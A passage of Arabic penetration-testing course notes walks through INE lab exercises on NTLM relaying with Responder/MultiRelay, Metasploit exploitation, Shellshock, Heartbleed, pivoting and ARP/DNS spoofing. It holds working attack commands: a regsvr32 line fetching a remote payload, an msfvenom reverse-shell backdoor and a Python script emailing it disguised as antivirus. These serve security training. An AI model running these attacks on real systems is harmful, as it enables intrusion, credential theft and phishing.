نشوف ايش هو الـ Domain name 47 | ```bash 48 | nslookup 49 | server 172.16.5.10 50 | 172.16.5.5 51 | ``` 52 | 53 | نشوف انه عطانا الدومين 54 | 55 | نفس المخرجات راح تكون باداة dig 56 | ```bash 57 | dig @172.16.5.10 -x 172.16.5.5 +nocookie 58 | ``` 59 | 60 | طيب نشوف انه عطانا نفس المخرجات السابقه 61 | 62 | الان لو نبي نطلع هوستات زيادة باستخدام DNS zone transfer 63 | ```bash 64 | dig @172.16.5.10 sportsfoo.com -t AXFR +nocookie 65 | ``` 66 | 67 | نشوف انه عطانا ايبي ماكان عندنا الي هو 10.10.10.6 وهذا يعني انه فيه شبكة ثانيه الي هي 10.10.10.x 68 | 69 | للاسف ماكملنا الحل بسبب انه كان فيه مشكلة بسيرفر اللاب الي شغالين عليه ف اكتفينا بقرائة اللاب 70 | 71 | --- 72 | 73 | معنا اليوم باذن الله ثاني لاب 74 | 75 | NBT-NS Poisoning and Exploitation with Responder 76 | -------------------------------------------------| 77 | 78 | In this lab, you will learn to perform MiTM (Man-In-The-Middle) attack and exploit windows target machines. 79 | 80 | طبعا اول شي راح ناخذ الايبي ونفحص كامل الشبكة 81 | ```bash 82 | ifconfig 83 | nmap -sn 172.16.5.0/24 84 | ``` 85 | 86 | نشوف انه عطانا هوستات up وهوستات down 87 | راح ناخذ ايبي التارقت تبعنا والي هو نهايته 10 ونفحصه 88 | ```bash 89 | nmap 172.16.5.10 90 | ``` 91 | 92 | نشوف انه عطانا عدد كبير من البورتات خلونا الان نفحصه بشكل اعمق ونشغل الديفولت سكربت 93 | ```bash 94 | nmap -A -O 172.16.5.10 95 | ``` 96 | 97 | نشوف انه بورت 445 الي هو شغال عليه smb 98 | يقول انه اصدار Windows 7 Enterprise 7601 Server Pack 1 microsoft-ds 99 | 100 | We will use Responder and MultiRelay tools to perform a MiTM attack to obtain a shell on the 172.16.5.10 machine. 101 | 102 | خلونا نشغل او شي اداة responder عشان نحاول نحصل الـ NTLM hash 103 | ```bash 104 | responder -I eth1 --lm 105 | ``` 106 | 107 | نشوف انه فعلا حصلنا NTLMv2 hash from a client (172.16.5.25) of the aline user. 108 | ```bash 109 | NTLMv2 Hash: aline::domain:79d1a136508806fc:931EE422AB6191B39B0B8FEC50176D3A:0101000000000000CEF214357613D80175C2BF005882959E00000000020000000000000000000000 110 | ``` 111 | 112 | طبعا يتم حفظ الهاش في مسار الاداة 113 | ```bash 114 | ls /usr/share/responder/logs 115 | ``` 116 | 117 | نشوف انه فعلا فيه ملف SMB-NTLMv2-172.16.5.25.log 118 | 119 | طبعا الان راح نشغل اداة MultiRelay ونشوف لو فيه هاشات لتارقت 172.16.5.10 120 | 121 | ```bash 122 | cd /usr/share/responder/tools 123 | ls 124 | ``` 125 | 126 | طيب الان الـ multyrelay.py يستخدم ملفين Runs.exe , Syssvc.exe لكل من x84-64 127 | طبعا حنا فقط نحتاج ملف exe يكون x86 128 | خلونا نحذف الملفين القابله لتشغيل ونسوي compile for x86 executable 129 | ```bash 130 | ls /usr/share/responder/tools/MultiRelay/bin 131 | rm /usr/share/responder/tools/MultiRelay/bin/Runas.exe 132 | rm /usr/share/responder/tools/MultiRelay/bin/Syssvc.exe 133 | ls /usr/share/responder/tools/MultiRelay/bin 134 | ``` 135 | 136 | الان راح نسوي Compiling Runas.c and Syssvc.c. 137 | ```bash 138 | i686-w64-mingw32-gcc /usr/share/responder/tools/MultiRelay/bin/Runas.c -o /usr/share/responder/tools/MultiRelay/bin/Runas.exe -municode -lwtsapi32 -luserenv 139 | i686-w64-mingw32-gcc /usr/share/responder/tools/MultiRelay/bin/Syssvc.c -o /usr/share/responder/tools/MultiRelay/bin/Syssvc.exe -municode 140 | ``` 141 | طبعا الاول عشان يسوي لنا كومبايل لملف قابل بتشغل Runs.exe x86 142 | والملف الثاني راح يكون Syssvc.exe x86 143 | 144 | الان نشوف انه تمام كلشي الان راح نشغل اداة MultyRelay.py 145 | ```bash 146 | ./MultiRelay.py -t 172.16.5.10 -u ALL 147 | ``` 148 | 149 | طيب حلو الان نفتح الـ responder بتاب ثاني ونخلي التاب الاولى شغاله 150 | ```bash 151 | responder -I eth1 --lm 152 | ``` 153 | 154 | ونشوف بعد ماشغلناه بشوي عطانا الـ Interactive shell 155 | 156 | طبعا لابد نشغل الـ MultyRelay.py قبل تفتح الـ responder 157 | 158 | لو نكتب بعض الاوامر 159 | ```bash 160 | whoami 161 | ipconfig 162 | ``` 163 | 164 | نشوف انه معنا اعلى صلاحيات وكذالك استعلمنا عن الشبكات الموجوده 165 | 10.100.40.100 هذي طبعا شبكة ثانيه موجوده على الجهاز 166 | 167 | ف ممكن نسوي بفتنق يعني فيه افكار كثيره خلونا نشوف الان الخطوه الي بعدها 168 | 169 | طبعا الان نبي نرفع الشيل حقنا من شيل الى meterpreter session 170 | راح نستخدم موديول جديد الي هو web_delivery 171 | 172 | طبعا فكرت هذا الموديول يوفرلك اكثر من طريقة انك تشغل الشيل حقك 173 | وتقدر تختار ايش يكون الشيل حقك يوفر اكثر من خيار خلونا نشوف مع بعض 174 | 175 | ```bash 176 | msfconsole -q 177 | search web_delivery 178 | use exploit/multi/script/web_delivery 179 | show options 180 | show targets 181 | set TARGET 3 182 | set LHOST 172.16.5.101 183 | set PAYLOAD windows/meterpreter/reverse_tcp 184 | exploit 185 | jobs 186 | ``` 187 | 188 | طبعا في التارقت فيه اكثر من خيار مثل PYTHPON php Powershell regsvr32(registery) etc.. 189 | حنا طبعا اخترنا 3 الي هو يكون الشيل بالـريجستري لانه بيكون مستقر اكثر 190 | طبعا لابد نتاكد من البايلود انه يتوافق مع الحقن ف حنا اخترنا الريجستر لابد نعدل البايلود زي ماهو موضح في الاعلى 191 | نشوف انه الان عطانا الامر الي نكتبه بالشيل حق الـ MultyRelay 192 | ```bash 193 | regsvr32 /s /n /u /i:http://172.16.5.101:8080/BGQoUbCVAES.sct scrobj.dll 194 | ``` 195 | 196 | الان بعد ماننفذ الامر الي فوق في التارقت مشين عن طريق شيل الـ MultyRelay 197 | راح نرجع للميتاسبلويت ونشوف انه عطانا سيشن جديده 198 | ```bash 199 | sessions [to see all session you have] 200 | sessions -i 1 [to interact with session id 1] 201 | sysinfo 202 | getuid 203 | ``` 204 | 205 | نشوف انه الان معنا الشيل ودخلنا ومعنا اعلى صلاحيات كذالك 206 | خلونا الان نشوف ايش الانترفيس الموجوده بهذا التارقت 207 | ```bash 208 | ipconfig 209 | ``` 210 | نشوف انه interface 17 > ipv4 10.100.40.100 211 | 212 | خلونا الان نفحص كامل الشبكة الجديده باستخدام arp_scanner 213 | ```bash 214 | run arp_scanner -r 10.100.40.0/24 215 | ``` 216 | نشوف انه عطانا هوستين الهوست الاول الي نهايته 100 وهو الي دخلنا عليه ومعنا شيل عليه 217 | والثاني الي نهايته 107 هو راح يكون هدفنا الجديد , خلونا نضيف كامل الشبكة بالراوت تيبل 218 | ```bash 219 | run autoroute -s 10.100.40.0/24 220 | ``` 221 | 222 | الان خلونا نخلي السيشن بالخلفيه ونفحص التارقت الجديد حقنا 223 | ```bash 224 | background 225 | use auxiliary/scanner/portscan/tcp 226 | set RHOSTS 10.100.40.107 227 | exploit 228 | ``` 229 | نشوف انه حصلنا البورتات هذي 80,135,445,139 شغاله 230 | 231 | خلونا نسوي pivoting الان ونسوي portfwd لبورت 80 232 | ```bash 233 | sessions -i 1 234 | portfwd add -l 1234 -p 80 -r 10.100.40.107 235 | portfwd list 236 | ``` 237 | 238 | الان نقدر نفحص اللوكال هوست بورت 1234 وراح نعرف ايش الخدمة الي شغاله على بورت 80 في مشين التارقت 239 | ```bash 240 | nmap -sV -p 1234 localhost 241 | ``` 242 | نشوف انه شغال عليه خدمة BadBlue 2.7 ونعرف انه مصاب فورا راح نستغله 243 | 244 | خلونا نرجع لتاب الي فيها الـ metapsloit 245 | ونخلي السيشن الاولى في الخلفيه ونستغل التارقت الجديد 246 | ```bash 247 | bg 248 | search badblue 249 | use exploit/windows/http/badblue_passthru 250 | show options 251 | ``` 252 | 253 | طيب الان فقط نعطيه الـ RHOST and payload 254 | ```bash 255 | set RHOSTS 10.100.40.107 256 | set PAYLOAD windows/meterpreter/bind_tcp 257 | exploit 258 | getuid 259 | sysinfo 260 | ``` 261 | نشوف انه اخذنا الشيل ونفذنا الاوامر 262 | 263 | وبكذا استغلينا التارقت الثاني بدون اي مشاكل 264 | 265 | الى هنا انتهى اللاب نشوف الي بعده 266 | 267 | 268 | طبعا الي بعده هذا اللاب 269 | 270 | ICMP Redirect attack 271 | ---------------------| 272 | 273 | طبعا فقط راح نقراه اليوم وبكرا نطبق لانه مافي وقت 274 | 275 | طبعا فكرة اللاب انه ننفذ هجوم معين والي هو اسمه 276 | Man In The Meddil Attack 277 | 278 | 279 | الى هنا انتهينا باذن الله نكمل بكرا 280 | 281 | --- 282 | 283 | ## Follow us on: 284 | Twitter: 285 | [s4cript](https://twitter.com/s4cript) 286 | [cyberhub](https://twitter.com/cyberhub) 287 | [0xNawaF1](https://twitter.com/0xNawaF1) 288 | -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-6.md: -------------------------------------------------------------------------------- 1 | # Session 6 (eCPPTv2) - Day 6 2 | ## Penetration Testing: Network Security 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نكمل من الي وقفنا عليه امس 7 | 8 | --- 9 | 10 | معنا اليوم باذن الله اول لاب 11 | 12 | ICMP Redirect attack 13 | ---------------------| 14 | 15 | [just read] 16 | 17 | 18 | --- 19 | 20 | VA and Exploitation 21 | --------------------| 22 | 23 | فكرة اللاب راح نستخدم Nessus 24 | طبعا هي اداة اوتيميشن تفحص لك كلشي كامل 25 | 26 | طيب خلونا ناكسس موقع الاداة او الاداة نفسها 27 | ```bash 28 | https://localhost:8834/ 29 | ``` 30 | 31 | **Note: If you visit http://localhost:8834/ instead of HTTPS, then we would get the following page:** 32 | 33 | طيب حلو نشوف انه فتح لنا صفحة تسجيل دخول 34 | 35 | نعرف ان الباسورد واليوزر الديفلوت لصفحة تسجيل دخول اداة Nessus هو 36 | ```bash 37 | username: admin 38 | password: adminpasswd 39 | ``` 40 | 41 | طبعا نشوف انه طلب منا نسجل التارقت دومين او الايبي ونشوف 42 | ```bash 43 | demo.ine.local 44 | demo2.ine.local 45 | demo3.ine.local 46 | demo4.ine.local 47 | ``` 48 | 49 | بعدين نسوي Run Scan 50 | ونشوف انه بدا يفحص ننتظره يخلص 51 | طبعا عندك فوق موضح الهوستات والثغرات الي حصلها والهيستوري وكم شي ثاني 52 | يهمنا منها الثغرات خلونا ندخل ناخذ نظره عليها 53 | 54 | نشوف انه حصلنا ثغره وحده حرجة (CRITICAL) 55 | وهي تخص خدمة الـ FTP 56 | طبعا نشوف انه عطانا انه فيه ثغرة RCE 57 | 58 | طيب خلونا الان نفحص يدوي وبنحصل اشياء Nessus ماطلعتها لنا 59 | 60 | اول شي خلونا نضيف التارقت في ملف جديد اسمه Hosts 61 | ```bash 62 | printf 'demo2.ine.local\ndemo3.ine.local\ndemo4.ine.local\n' > hosts 63 | cat hosts 64 | ``` 65 | 66 | خلونا الان نفحص باستخدام الـ NMAP scan 67 | ```bash 68 | nmap --script vuln -iL hosts 69 | ``` 70 | 71 | نشوف انه حصلنا SQLI 72 | وطبعا الاداة Nessus ماطلعت لنا هذي الثغره 73 | ف هذي احد عيوب الاوتوميشن مثلا يعطيك ثغره وهي مو موجوده او انه زي ماحصل معنا مايعطينا كامل الثغرات 74 | 75 | 76 | طيب خلونا الان نفحص الويب سيرفر 77 | ```bash 78 | web server Domain= demo4.ine.local 79 | ``` 80 | 81 | طيب ندخل المتصفح ونفتح الدومين نشوف انه طالب ايميل عشان يعطيك اخر التحديثات للموقع 82 | طبعا لو نشوف فوق بالـ URI في مسار غريب الي هو /browser.cgi 83 | طيب حنا نعرف انه الملفات الي امتدادها cgi غالبا مصابة بثغرة HTTP-shellshock 84 | 85 | خلونا نجرب نستغله 86 | ```bash 87 | nmap -sV -p80 --script http-shellshock --script-args uri=/browser.cgi,cmd=id demo4.ine.local 88 | ``` 89 | 90 | نشوف انه قالنا انه فيه خطا 500 وطبعا يفرق من ملف لملف حسب السيناريو ممكن تحتاج تعدل على 91 | الـ Contant تبع الطلب او اي شي اخر على حسب السيناريو 92 | 93 | نجرب الان نعدل الـ Contant-Type 94 | ```bash 95 | nmap -sV -p80 --script http-shellshock --script-args uri=/browser.cgi,cmd='echo Content-Type: text/html; echo; /usr/bin/id' demo4.ine.local 96 | ``` 97 | 98 | نشوف انه ضبط تمام الان وعطانا النتجية 99 | طبعا فيه فلاق خلونا نقراه بهذا الامر اختصار للوقت طلعنا المسار 100 | ```bash 101 | curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /tmp/flag'" http://demo4.ine.local/browser.cgi 102 | ``` 103 | 104 | طيب الان عطانا الفلاق خلونا نرجع لثغرة الاوتوميشن الان 105 | 106 | خلونا نجرب نستغل الثغرة الحرجة الي حصلتها لنا اداة Nessus 107 | ```bash 108 | msfconsole -q 109 | search proftpd 110 | use exploit/unix/ftp/proftpd_133c_backdoor 111 | show options 112 | ip addr 113 | set RHOSTS demo.ine.local 114 | set PAYLOAD cmd/unix/reverse_perl 115 | set LHOST 192.243.162.2 116 | exploit 117 | id 118 | cat /flag 119 | ``` 120 | 121 | نشوف انه فعلا استغلينا التارقت الي قالت لنا Nessus انه فيه ثغرة RCE 122 | 123 | طيب الان يوم فحصنا بالـ NMAP scan حصلنا بورت 1099 اوبن وقالنا انه مصاب بالثغره وعطانا رابط الاستغلال خلونا نجرب الان نستغله 124 | ```bash 125 | msfconsole -q 126 | search java_rmi 127 | use exploit/multi/misc/java_rmi_server 128 | show options 129 | set RHOSTS demo2.ine.local 130 | set LHOST 192.243.162.2 131 | set HTTPDELAY 20 132 | exploit 133 | getuid 134 | sysinfo 135 | ``` 136 | 137 | نشوف انه فعلا الثغرة صحيحة وتم الاستغلال وصرنا الـ ROOT 138 | 139 | خلونا الان نستغل ثغرة الـ SQLi 140 | طبعا طلعها لنا بالـ nmap حصلنا cve 2012 141 | خلونا نجرب الان الاستغلال 142 | ```bash 143 | msfconsole -q 144 | search mysql_authbypass 145 | use auxiliary/scanner/mysql/mysql_authbypass_hashdump 146 | show options 147 | set RHOSTS demo3.ine.local 148 | exploit 149 | ``` 150 | 151 | ونشوف انه فعلا تم الاستغلال وسوينا بايباس للـ MySQL authentication وقدرنا ناخذ الهاشات 152 | 153 | الى هنا انتهى اللاب نشوف الي بعده 154 | 155 | --- 156 | 157 | Nessus 158 | ------| 159 | 160 | في هذا اللاب نفس الي قبله تقريبا معطينا ثلاث تارقت يبينا نفحصهم بالـ Nessus 161 | 162 | خلونا نشوف اول هل نقدر نرسلهم كلهم ولا لا خلونا نسوي بنق 163 | ```bash 164 | ping -c3 demo.ine.local 165 | ping -c3 demossl.ine.local 166 | ping -c3 webserver.ine.local 167 | ``` 168 | نشوف انه كل التارقت نقدر نوصلهم بدون اي مشاكل حلو 169 | 170 | الان نبدا نسوي الـ Nmap scanning 171 | ```bash 172 | nmap -sS -sV demo.ine.local demossl.ine.local webserver.ine.local 173 | ``` 174 | نشوف انه فيه بورتات مفتوحه معينه على كل تارقت منهم 175 | ```bash 176 | 1. demo.ine.local: Ports 80 (Apache) and 3306 (MySQL) are open. 177 | 2. demossl.ine.local: Ports 22 (SSH) and 443 (NGINX) are open. 178 | 3. webserver.ine.local: Port 80 (Apache) is open. 179 | ``` 180 | 181 | خلونا ندخل على كل ويب ونشوف وش يشتغل على كل واحد فيهم 182 | 1. bWAPP is hosted on demo.ine.local. 183 | 2. custom website is hosted on demossl.ine.local. 184 | 3. Apache's default web page is present on webserver.ine.local. 185 | 186 | طيب الان بعد ماعرفنا هذي المعلومات خلونا نروح لاداة الاوتوميشن Nessus 187 | ونعطيها التارقت الي عندنا 188 | اول شي نفتح الرابط هذا في المتصفح حقنا 189 | ```bash 190 | https://localhost:8834/ 191 | ``` 192 | **Note: If you visit http://localhost:8834/ instead of HTTPS, then we would get the following page:** 193 | 194 | نشوف انه ظهرت لنا صفحة تسجيل دخول خلونا نسجل باليوزر والباسورد هذا 195 | ```bash 196 | Username: admin 197 | Password: adminpasswd 198 | ``` 199 | 200 | طيب حلو الان بنعطيه التارقت الي عندنا كلهم 201 | ```bash 202 | demo.ine.local demossl.ine.local webserver.ine.local 203 | ``` 204 | نحدد كل الثلاث هوستات ونختار Run Scan 205 | 206 | ننتظره يخلص طبعا الان طبعا هو يتاخر شوي وهي فقط ثلاث دومينات او هوستات ف مابالك لو كانت شركة كامله ف ممكن ياخذ بالساعات والايام 207 | 208 | طبعا الان نشوف انه خلص الفحص وعطانا الثغرات الموجوده 209 | 210 | طبعا بعد ماخلص خلونا نشوف وش طلع لنا 211 | اول تارقت حصل 1 عاليه و 10 متوسطه و39 انفو 212 | خلونا نشوف الي طلعه لنا بالتارقت الاول 213 | 214 | طبعا من مميزات Nessus انه تقدر تربطه بالـ MSFconsole 215 | خلونا اول شي نشغل الداتابيس حقت الـ metasploit 216 | ```bash 217 | service postgresql start 218 | ``` 219 | الان شغال تمام خلونا الان نفتح الـ MSFconsole 220 | ```bash 221 | msfconsole -q 222 | ``` 223 | الان نشوف انه فتح معنا تمام 224 | 225 | خلونا نسوي load للـ Nessus ونعطيه اليووزر والباسورد عشان يتصل مع الداش بورد 226 | ```bash 227 | load nessus 228 | nessus_connect admin:adminpasswd@localhost 229 | ``` 230 | طبعا الان عشان نشوف الاوامر حقت Nessus نقدر نكتب الامر التالي 231 | ```bash 232 | nessus_help 233 | ``` 234 | 235 | حنا طبعا الي يهمنا هو امر nessus_scan_list 236 | طبعا وظيفته يعرض لك كل السكان الي صار داخل الـ Nessus 237 | ```bash 238 | nessus_scan_list 239 | ``` 240 | طبعا نقدر نشوف السكان عن طريق انه نحدد الـ Scan ID 241 | ```bash 242 | nessus_report_hosts 8 243 | ``` 244 | وبكذا عطانا الهوستات 245 | 246 | الان خلونا نشوف الثغرات الي حصلها لنا عن طريق هذا الامر 247 | ```bash 248 | nessus_report_vulns 8 249 | ``` 250 | نشوف انه عطانا الثغرات الي حصلها كلها 251 | 252 | نقدر كذالك نسوي import للتقرير 253 | ```bash 254 | nessus_db_import 8 255 | ``` 256 | 257 | بعد ماستدعينا الريبورت حقنا خلونا نشوف هل فعلا الـ MSFconsole سوت لنا import لتقرير او لا 258 | خلونا نشوف الثغرات عن طريق امر خاص بالـ msfconsole 259 | ```bash 260 | vulns 261 | ``` 262 | 263 | طبعا نشوف انه حصلنا قغرة OpenSSL Heartbeat Information Disclosure (Heartbleed) 264 | خلونا نجرب نستغلها 265 | اول شي نبحث عن الاستغلال بعدها نستغل 266 | ```bash 267 | search heartbleed 268 | use auxiliary/scanner/ssl/openssl_heartbleed 269 | show options 270 | set RHOSTS 192.7.13.4 271 | set VERBOSE true 272 | scan 273 | ``` 274 | طبعا نشوف انه ممكن نحصل يوزر وباسورد ممكن نحصل اشياء كثير لانه قدر يسوي memory dump 275 | طبعا حصلنا اكثر من creds 276 | طبعا نشوف انه الان حصلنا اكثر من يوزر وباسورد ونجرب نسجل دخول في الموقع 277 | ```bash 278 | Username: amanda 279 | Password: rockstar 280 | ``` 281 | طبعا الان نجرب نسجل دخول في هذا التارقت https://demossl.ine.local 282 | 283 | نشوف انه سجل معنا دخول وحنا نعرف ان التارقت هذا مفتوح فيه بورت 22 الي هو الـ SSH 284 | خلونا نجرب نأكسس الـ SSH بنفس اليوزر والباسورد 285 | ```bash 286 | ssh amanda@demossl.ine.local 287 | password: rockstar 288 | ``` 289 | نشوف انه دخلنا تمام وكلشي حلو 290 | 291 | خلونا نرجع للـ Nessus وندخل من القائمة الي يسار My Scans 292 | بعدين فوق يمين نختار New Scan 293 | طيب الان خلونا نختار انه نبي Advanced Scan 294 | طيب الان ندخل على الـ Credentials 295 | ونظيف الـ SSH Creds 296 | طبعا من اول خيار نختار password 297 | بعدين نعطيه اليوزر والباسورد الي حصلناهم فوق 298 | طيب الان عشان بس نخلي السكان اسرع شوي نسوي هذي الخطوات Settings > Host Discovery وتفعل ثاني خيار تحت General Settings والاول تقفله 299 | وندخل على الـ Port Scanning ونفعل اول خيار ونحدد له بورتات معينه 300 | ومن تحت فيه Local Port Enumeration نفعل اول خيار SSH (netstat) 301 | الان فقط نسوي save ونشغل 302 | الان نخليه يفحص ونسوي حق الويب 303 | 304 | نروح للـ Scans من فوق 305 | بعدين نختار Web Application Tests 306 | بعدين نحدد التارقت في المربع النصي demo.ine.local and webserver.ine.local 307 | بعدين نروح للـ Settings > Discovery 308 | بعدين نختار خيار Assessments 309 | بعدين نحدد وش نوع السكان الي نبيه حنا بنخليه كويك سكان عشان مايتاخر علينا 310 | بعدي نسوي save ونشغله 311 | 312 | الان ننتظر كل الفحصين حق الشبكة وحق الويب يخلصون 313 | 314 | طيب حلو الان خلص خلونا نسوي export للتقرير 315 | ندخل على السكانات ونشوف اول واحد الي سميناه Custom WebApp Scan 316 | نشوف فوق يمين فيه Report Export نضغط عليه 317 | الان نختار كيف نبي نستخرجه هل ملف pdf or XML ot HTML 318 | حنا اخترنا PDF 319 | طبعا حنا نبي الريبورت كامل ف نختار Complete Lists Vulnerbilities bu Hosts 320 | بعدين نضغط Generate Report 321 | 322 | ونشوف انه الى هنا انهينا الـ Nessus كامل 323 | عرفنا كيف نسوي سكان عرفنا نضيف التارقت عرفنا نشوف نتيجة الفحص وعرفنا نصدر تقرير مرتب عن كل السكان الي صار موضح فيه كل شي صار بالسكان 324 | 325 | الى هنا انتهى اللاب نشوف الي بعده 326 | 327 | --- 328 | 329 | Client-Side Exploitation 330 | -------------------------| 331 | 332 | طيب اول شي نسوي بنق نشوف وش الي نقدر نوصله ووش اتلي منقدر من التارقت 333 | ```bash 334 | ping demo.ine.local 335 | ping demo1.ine.local 336 | ``` 337 | 338 | خلونا نفحص التارقت 339 | ```bash 340 | nmap demo.ine.local 341 | ``` 342 | نشوف انه عطانا بورتات كثير مفتوحه يهمنا منها بورت 25 SMTP 343 | طيب خلونا نفحص البورت هذا بالتحديد ونشوف اصدار الخدمة الي شغاله عليه 344 | ```bash 345 | nmap -sV -p 25 demo.ine.local 346 | ``` 347 | حلو الان عطانا انه شغال على hMailServer ونعرف انه مصاب 348 | خلونا نستغله الان لابد نسوي ملف باك دور 349 | ```bash 350 | ip addr [ to identify your ip] 351 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.4 LPORT=4444 -f exe > backdoor.exe file backdoor.exe 352 | ``` 353 | بعدين خلونا نفتح الليسنر على msfconsole 354 | ```bash 355 | msfconsole -q 356 | use exploit/multi/handler 357 | set PAYLOAD windows/meterpreter/reverse_tcp 358 | set LHOST 10.10.15.4 359 | set LPORT 4444 360 | exploit 361 | ``` 362 | طيب حلو الان شغال الليسنر خلونا ناخذ البايثون سكربت الان 363 | ```python 364 | import smtplib 365 | from email.mime.multipart import MIMEMultipart 366 | from email.mime.text import MIMEText 367 | from email.mime.base import MIMEBase 368 | from email import encoders 369 | fromaddr = "attacker@fake.net" 370 | toaddr = "bob@ine.local" 371 | # instance of MIMEMultipart 372 | msg = MIMEMultipart() 373 | # storing the senders email address 374 | msg['From'] = fromaddr 375 | # storing the receivers email address 376 | msg['To'] = toaddr 377 | # storing the subject 378 | msg['Subject'] = "Subject of the Mail" 379 | # string to store the body of the mail 380 | body = "Body_of_the_mail" 381 | # attach the body with the msg instance 382 | msg.attach(MIMEText(body, 'plain')) 383 | # open the file to be sent 384 | filename = "Free_AntiVirus.exe" 385 | attachment = open("/root/backdoor.exe", "rb") 386 | # instance of MIMEBase and named as p 387 | p = MIMEBase('application', 'octet-stream') 388 | # To change the payload into encoded form 389 | p.set_payload((attachment).read()) 390 | # encode into base64 391 | encoders.encode_base64(p) 392 | p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 393 | # attach the instance 'p' to instance 'msg' 394 | msg.attach(p) 395 | # creates SMTP session 396 | s = smtplib.SMTP('demo.ine.local', 25) 397 | # Converts the Multipart msg into a string 398 | text = msg.as_string() 399 | # sending the mail 400 | s.sendmail(fromaddr, toaddr, text) 401 | # terminating the session 402 | s.quit() 403 | ``` 404 | طبعا الان راح نرسل ملف الـ backdoor عن طريق سكربت البايثون 405 | ```bash 406 | nano send_email.py 407 | 408 | python3 send_email.py 409 | ``` 410 | نشوف انه الان بعد مارسلناه رجعنا لليسنر ونشوف انه جانا شيل ووضعنا تمام التمام 411 | 412 | الان باقي جزئية البفتنق طبعا من الاول يوم نسوي بنق على التارقت فيه واحد منهم مافي اتصال ولا نقدر نسوي له بنق يعني ف بنحاول نسوي بفتنق 413 | طيب خلونا نجرب نسوي بنق الان من الجهاز الي استغليناه 414 | ```bash 415 | shell 416 | ping demo1.ine.local 417 | ``` 418 | 419 | نشوف انه فعلا فيه رد من التارقت الثاني بعكس يوم كنا نسوي بنق من المشين حقتنا رافض ولا فيه اتصال 420 | 421 | خلونا الان نسوي بفتنق 422 | ```bash 423 | CTRL + C 424 | y 425 | run autoroute -s 10.0.17.12/20 426 | ``` 427 | الان راح نستغله طبعا بالـ socks4a server 428 | ```bash 429 | cat /etc/proxychains4.conf 430 | ``` 431 | خلونا الان نشغل السيرفر من الميتاسبلويت 432 | ```bash 433 | background 434 | use auxiliary/server/socks_proxy 435 | show options 436 | ``` 437 | نحط المتغيرات المطلوبه 438 | ```bash 439 | set SRVPORT 9050 440 | set VERSION 4a 441 | exploit 442 | jobs 443 | ``` 444 | نشوف انه الان شغال بالخلفية 445 | خلونا الان نشوف نفحص البورتات 446 | ```bash 447 | proxychains nmap demo1.ine.local -sT -Pn -p 1-100 448 | ``` 449 | الان الباقي نفس العاده نسوي portfwd ونستغل فورا 450 | راح اكتب اوامر الاستغلال دايركت 451 | ```bash 452 | sessions -i 1 453 | portfwd add -l 1234 -p 80 -r 10.0.17.12 454 | portfwd list 455 | ``` 456 | الان نفحص بالـ nmap 457 | ```bash 458 | nmap -sV -p 1234 localhost 459 | ``` 460 | نشوف انه شغال عليه badblue 2.7 نستغله 461 | ```bash 462 | bg 463 | search badblue 464 | use exploit/windows/http/badblue_passthru 465 | show options 466 | set RHOSTS demo1.ine.local 467 | set PAYLOAD windows/meterpreter/bind_tcp 468 | exploit 469 | getuid 470 | sysinfo 471 | ``` 472 | نشوف انه استنغليناه خلونا الان نقرا الفلاق المطلوب 473 | ```bash 474 | shell 475 | dir C:\ 476 | type C:\FLAG1.txt 477 | ``` 478 | ونشوف انه عطانا الفلاق 479 | 480 | الى هنا انتهى اللاب 481 | بكرا باذن الله راح نكمل 482 | 483 | --- 484 | 485 | ## Follow us on: 486 | Twitter: 487 | [s4cript](https://twitter.com/s4cript) 488 | [cyberhub](https://twitter.com/cyberhub) 489 | [0xNawaF1](https://twitter.com/0xNawaF1) 490 | -------------------------------------------------------------------------------- /network-PT-cyberhub-PTP-7.md: -------------------------------------------------------------------------------- 1 | # Session 7 (eCPPTv2) - Day 7 2 | ## Penetration Testing: Network Security 3 | 4 | السلام عليكم ورحمة الله وبركاته 5 | 6 | اليوم باذن الله راح نكمل من الي وقفنا عليه امس 7 | 8 | --- 9 | 10 | معنا اليوم باذن الله اول لاب 11 | 12 | DNS and SMB Relay Attack 13 | ------------------------| 14 | 15 | طبعا هجوم الـ Relay نفس الطريقة والفكره لكن الفرق اي بروتوكول تستغل فقط 16 | 17 | You are hired by a small company to perform a security assessment. Your customer is sportsfoo.com and they want your help to test the security of their environment, according to the scope below: 18 | 19 | The assumptions of this security engagement are: 20 | 21 | You are going to do an internal penetration test, where you will be connected directly into their LAN network 172.16.5.0/24. The scope in this test is only the 172.16.5.0/24 segment 22 | 23 | You are in a production network, so you should not lock any user account by guessing their usernames and passwords 24 | 25 | The following image represents the LAB environment: 26 | 27 | (LAB_environment)[https://ibb.co/PQWwsKq] 28 | 29 | طبعا نقدر نستغل عن طريق الـ MSFconsole 30 | ```bash 31 | msfconsole 32 | use exploit/windows/smb/smb_relay 33 | set SRVHOST 172.16.5.101 34 | set PAYLOAD windows/meterpreter/reverse_tcp 35 | set LHOST 172.16.5.101 36 | set SMBHOST 172.16.5.10 37 | exploit 38 | ``` 39 | 40 | طيب الان شغال السيرفر فيه الجوبز و نقدر نتاكد عن طريق كتابة الامر 41 | ```bash 42 | jobs 43 | ``` 44 | 45 | الان بنشغل الاداة الثانيه حقت الـ DNS spoofing 46 | ```bash 47 | echo "172.16.5.101 *.sportsfoo.com" > dns [to add the ip and the domain into file name dns] 48 | dnsspoof -i eth1 -f dns 49 | ``` 50 | 51 | Activate the MiTM attack using the ARP Spoofing technique. 52 | Our goal is to poison the traffic between our victim, Windows 7 at 172.16.5.5 , and the default gateway at 172.16.5.1 . In this way, we can manipulate the traffic using dnsspoof , which is already running. In order to perform an ARP Spoofing 53 | attack, we need to enable the IP forwarding as follow: 54 | ```bash 55 | echo 1 > /proc/sys/net/ipv4/ip_forward 56 | ``` 57 | 58 | In two separate terminals, start the ARP Spoof attack against 172.16.5.5 and 172.16.5.1 using these commands: 59 | Commands: 60 | ```bash 61 | arpspoof -i eth1 -t 172.16.5.5 172.16.5.1 62 | arpspoof -i eth1 -t 172.16.5.1 172.16.5.5 63 | ``` 64 | طبعا اول وحده كانت من التارقت للقيت واي 65 | اما الثانيه فالعكس من القيت واي الى التارقت 66 | ف اي شي راح يمر مابينهم لابد يمر من عند الاتاكر اول وبعدها الاتاكر يسوي له Forward 67 | 68 | الان نشوف ان الكلاينت الي نهايته 5.5 اي شي يرسله راح يجي الاتاكر اول وبعدها ينرسل للقيت واي والقيت واي او الراوتر يرسل الى الفايل سيرفر وبعدها الفايل سيرفر يرد على 